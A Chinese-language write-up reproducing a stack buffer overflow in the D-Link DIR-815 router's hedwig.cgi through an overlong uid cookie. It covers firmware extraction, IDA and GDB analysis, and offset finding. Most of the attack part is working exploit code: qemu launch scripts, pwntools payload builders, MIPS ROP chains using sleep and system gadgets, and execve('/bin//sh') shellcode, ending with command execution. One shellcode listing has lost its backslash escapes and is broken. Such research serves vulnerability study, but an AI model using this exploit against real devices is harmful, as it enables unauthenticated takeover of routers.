D-Link DIR-815远程缓冲区溢出
固件下载:
漏洞信息:
https://www.exploit-db.com/exploits/33863
漏洞存在于hedwig.cgi中
未认证攻击者通过调用这个CGI脚本可以传递以恶搞超长的COOKIE值,使得程序产生栈溢出==》
获得路由器的远程控制权限
漏洞复现:
固件提取:
binwalk -Me DIR-815A1_FW101SSB03.bin
提取固件后:
漏洞定位:
1、根据漏洞信息在文件系统中搜索漏洞核心组件hedwig.cgi
find ./ -name hedwig.cgi
查看hedwig.cgi相关信息:
ls -l ./htdocs/web/hedwig.cgi
==》hedwig.cgi是指向./htdocs/cgibin的符号链接==》真正的漏洞代码位于cgibin中
===》
对./htdocs/cgibin进行分析:
检查保护:
IDA静态分析:
通过IDA的string对COOKIE定位:
==》定位至sess_get_uid函数
查看sess_get_uid的交叉引用:
定位至hedwigcgi_main函数==》
通过sess_get_uid()获取HTTP_COOKIE中uid=之后的值,并将该内容按照sprintf函数中格式化字符串给定的形式拷贝至栈中==》没有检测并限制输入的大小==》栈溢出
在之后也有一个sprintf函数存在栈溢出
漏洞测试:
GDB溢出测试
GDB:
set architecture mips
cyclic 1500
终端:
将GDB产生的数据填入测试脚本中:
#!/bin/sh
qemu-mipsel -g 1234 -strace -L ./ \
-0 "./htdocs/web/hedwig.cgi" \
-E "REQUEST_METHOD"="POST" \
-E "CONTENT_TYPE"="application/x-www-form-urlencoded" \
-E "CONTENT_LENGTH"="10" \
-E "REQUEST_URI"="/hedwig.cgi" \
-E "HTTP_COOKIE"="uid=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaao" \
./htdocs/cgibin
运行脚本,GDB连接:
继续运行==》出现报错:
==》出现了打开libc的操作==》猜测第二次调用mmap时为libc的基地址
==》
偏移:
==》1043
调整调试脚本:
#!/bin/sh
qemu-mipsel -g 1234 -strace -L ./ \
-0 "./htdocs/web/hedwig.cgi" \
-E "REQUEST_METHOD"="POST" \
-E "CONTENT_TYPE"="application/x-www-form-urlencoded" \
-E "CONTENT_LENGTH"="10" \
-E "REQUEST_URI"="/hedwig.cgi" \
-E "HTTP_COOKIE"="uid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb" \
./htdocs/cgibin
运行:
返回地址已被控制
第二个sprintf:
需要在var目录下建立tmp目录才能到达下一个sprintf==》
溢出测试:
GDB:
set architecture mips
cyclic 1200
测试脚本:
#!/bin/sh
INPUT="uid=1234"
PAYLOAD="uid=`cat exploit`"
LEN=$(echo -n "INPUT" | wc -c)
echo $INPUT | qemu-mipsel -g 1234 -strace -L ./ \
-0 "./htdocs/web/hedwig.cgi" \
-E "REQUEST_METHOD"="POST" \
-E "CONTENT_TYPE"="application/x-www-form-urlencoded" \
-E "CONTENT_LENGTH"=$LEN \
-E "REQUEST_URI"="/hedwig.cgi" \
-E "HTTP_COOKIE"=$PAYLOAD \
-E "REMOTE_ADDR"="127.0.0.1" \
./htdocs/cgibin
HTTP_COOKIE:
from pwn import *
payload=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal"
f=open("exploit","wb")
f.write(payload)
f.close()
payload为GDB产生的1200数据
GDB溢出测试2:
运行测试脚本:
计算溢出偏移:
调整数据脚本:
from pwn import *
payload=b"a"*1009+b'bbbb'
f=open("exploit","wb")
f.write(payload)
f.close()
运行测试:
==》返回地址已经被控制
==》
system函数在libc中的偏移:
==》在调用system()传入参数时需要使用a0寄存器==》
构造ROP:
注意点:system函数的最低位为x00,在构造HTTP_COOKIE时x00会被sess_get_uid函数截断
就算sess_get_uid不截断,也会被sprintf截断===》
需要在构造shellcode时,需要将像system地址这种地址-1
==》之后通过寻址gadget将其+1
首先寻找将栈上地址放入寄存器==》
gadget1
选择使用0x159cc:
然后寻找+1的gadget2==》
这里选择0x45988
===》构造:
将system函数的地址-1放入s0寄存器中,使用gadget2跳转至s1寄存器中的地址
安排payload:
返回地址:
==》可以控制数据覆盖ra,fp,s7~s0寄存器
==》通过控制ra寄存器执行gadget2==》
将system函数的地址还原,并跳转至s1寄存器地址处==》
执行gadget1将sp+0x10处的内容放至s5寄存器处并跳转至s0寄存器处==》
执行system函数
构造EXP1:
from pwn import *
context.arch="mips"
libcbase=0x7f738000
system_addr=libcbase+0x53200-1
gadget1 = 0x159cc
gadget2 = 0x45988
payload=b"a"*0x3cd
payload+=p32(system_addr) #s0
payload+=p32(libcbase+gadget1) #s1
payload+=b"bbbb" #s2
payload+=b"cccc" #s3
payload+=b"dddd" #s4
payload+=b'eeee' #$s5
payload+=b"ffff" #$s6
payload+=b"gggg" #$s7
payload+=b"hhhh" #fp
payload+=p32(libcbase+gadget2) #$ra
payload+=b"c"*0x10
payload+=b"/bin//sh"
f=open("exploit","wb+")
f.write(payload)
f.close()
运行结果:
首先断点至gadget2地址处:
单步运行,此时system函数地址已恢复:
接下来跳转至s1:
接下来将sp+0x10处的内容(/bin/sh)放入s5中:
继续运行至s0处:
此时a0寄存器已经被赋值为/bin/sh
并且已经执行到了system函数处:
继续运行:
发现在该地址处无法继续运行==》
原因:
fp指针为0===》fp+0x10处无法访问==》空指针报错
(system里有fork开启进程导致野指针出错)
===》
考虑另一种方法:调用sleep(1)函数来getshell
==》
cache incoherency:
MIPS CPUs有两个独立地cache:指令cache和数据cache,指令和数据在不同的两个缓存中
当缓存满了==》触发flush==》会将数据写回主内存==》
攻击者的攻击payload通常会被应用当作数据来处理==》存储在数据缓存中==》
当payload触发漏洞,劫持程序执行流程时,会去执行内存中的shellcode==》
如果数据缓存没有触发flush的话==》shellcode依然存储在缓存中,没有写入主内存==》
导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果==》
==》想办法造成堵塞==》sleep(1)等类似函数==》
sleep()执行的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush
重新构造ROP:
使用0x57E50==》给a0寄存器赋值1(sleep函数参数)并返回时跳转至s1寄存器中地址
==》第一个gadget肯定是控制返回地址==》
将ra覆盖为
ra=gadget1=0x57E50+libcbase==》
寻找第二个gadget放入s1:
使用mipsrop.tail()打印出所有函数尾部调用的gadget
因为非叶子函数尾部一般是将栈中返回地址给寄存器然后再跳转
==》选择0x3B8A8作为gadget2
==》会将栈上sp+0x24处的内容给寄存器ra,再跳转至s2寄存器中==》
s2寄存器需要存放sleep函数的地址==》
s1=gadget2=0x0003B8A8+libcbase
s2=sleep+libcbase
==》在执行完sleep函数后需要控制程序执行栈上shellcode==》
使用0x14F28==》
将sp+0x18处的值赋给s1,之后跳转至s4寄存器中的地址
==》接下来就需要跳转至s1执行shellcode==》
选择使用0x1DD08作为gadget4(其他gadget会出现坏字符,截断等)
坏字符:
0x20空格
0x00结束符
0x3a冒号
0x3f问号
0x3b分号
0x0a换行符
……
s4=gadget4=0x1DD08+libcbase
重新构造EXP2:
from pwn import *
context.arch='mips'
context.endian = 'little'
libcbase=0x7F738000
sleep=0x56BD0
gadget1=0x57E50+libcbase
gadget2=0x3B8A8+libcbase
gadget3=0x14F28+libcbase
gadget4=0x1DD08+libcbase
shellcode = b"xffxffx06x28" # slti $a2, $zero, -1
shellcode += b"x62x69x0fx3c" # lui $t7, 0x6962
shellcode += b"x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += b"xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode += b"x73x68x0ex3c" # lui $t6, 0x6873
shellcode += b"x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += b"xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += b"xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += b"xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += b"xffxffx05x28" # slti $a1, $zero, -1
shellcode += b"xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += b"x0cx01x01x01" # syscall 0x40404
payload=b'a'*0x3cd
payload+=b'b'*4 #s0
payload+=p32(gadget2) #s1
payload+=p32(sleep+libcbase) #s2
payload+=b'c'*4 #s3
payload+=p32(gadget4) #s4
payload+=b'd'*4 #s5
payload+=b'e'*4 #s6
payload+=b'f'*4 #s7
payload+=b'g'*4 #s8
payload+=p32(gadget1) #ra
payload+=b'h'*0x24
payload+=p32(gadget3)
payload+=b'g'*24
payload+=shellcode
f=open("exploit","wb")
f.write(payload)
f.close()
运行结果:
依旧是运行至gatget1处:
单步运行后a0寄存器将被赋值为1
跳转至s1寄存器
继续运行,给ra,s2,s1,s0寄存器赋值:
运行前ra寄存器内容:
0x7f78fe60==》也就是gadget1处
运行后ra寄存器内容:
0x7f74cf28==》gadget3地址处
赋值后寄存器:
跳转至之前保存的s2地址处:sleep函数处:
因为此时ra寄存器保存为gadget3处,所以sleep函数执行完后会跳转至gadget3处
继续运行至gadget3地址处:
此时sp指向shellcode。单步运行:
将shellcode传入s1寄存器中:
跳转gadget4处:
接下来就是跳转至s1寄存器处
===》发现在qemu下还不能getshell,但是返回地址已经指向shellcode
来自狒猩橙师傅的exp:
from pwn import *
context.arch='mips'
context.endian = 'little'
libcbase=0x7F738000
sleep=0x56BD0
gadget1=0x57E50+libcbase
gadget2=0x3B8A8+libcbase
gadget3=0x14F28+libcbase
'''
.text:00015B6C addiu $s2, $sp, 0x280+var_268
.text:00015B70 move $a2, $v1
.text:00015B74 move $t9, $s0
.text:00015B78 jalr $t9 ; mempcpy
.text:00015B7C move $a0, $s2
'''
gadget4=0x1DD08+libcbase
'''
.text:00052AB0 move $t9, $s2
.text:00052AB4 jalr $t9
.text:00052AB8 nop
'''
shellcode = b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode+= b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode+= b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode+= b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode+= b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode+= b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode+= b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode+= b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode+= b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode+= b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode+= b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode+= b"\x0c\x01\x01\x01" # syscall 0x40404
payload = b'a'*(1009-36)
payload+= b'b'*4 # s0
payload+= p32(gadget2) # s1
payload+= p32(sleep) # s2
payload+= b'e'*4 # s3
payload+= b'f'*4 # s4
payload+= b'h'*4 # s5
payload+= b'i'*4 # s6
payload+= b'j'*4 # s7
payload+= b'k'*4 # s8
payload+= p32(gadget1) # ra
payload+= b'a'*24
payload+= p32(gadget4) # s0
payload+= b'c'*4 # s1
payload+= b'd'*4 # s2
payload+= p32(gadget3) # ra
payload+= b'a'*0x18
payload+= shellcode
f=open("payload","wb")
f.write(payload)
f.close()
攻击效果:
通过对uid的编辑实现命令执行:
whoami
#!/bin/sh
INPUT="uid=awhoami"
PAYLOAD="uid=`cat exploit`"
LEN=$(echo -n "INPUT" | wc -c)
echo $INPUT | qemu-mipsel -strace -L ./ \
-0 "./htdocs/web/hedwig.cgi" \
-E "REQUEST_METHOD"="POST" \
-E "CONTENT_TYPE"="application/x-www-form-urlencoded" \
-E "CONTENT_LENGTH"=$LEN \
-E "REQUEST_URI"="/hedwig.cgi" \
-E "HTTP_COOKIE"=$PAYLOAD \
-E "REMOTE_ADDR"="127.0.0.1" \
./htdocs/cgibin
ls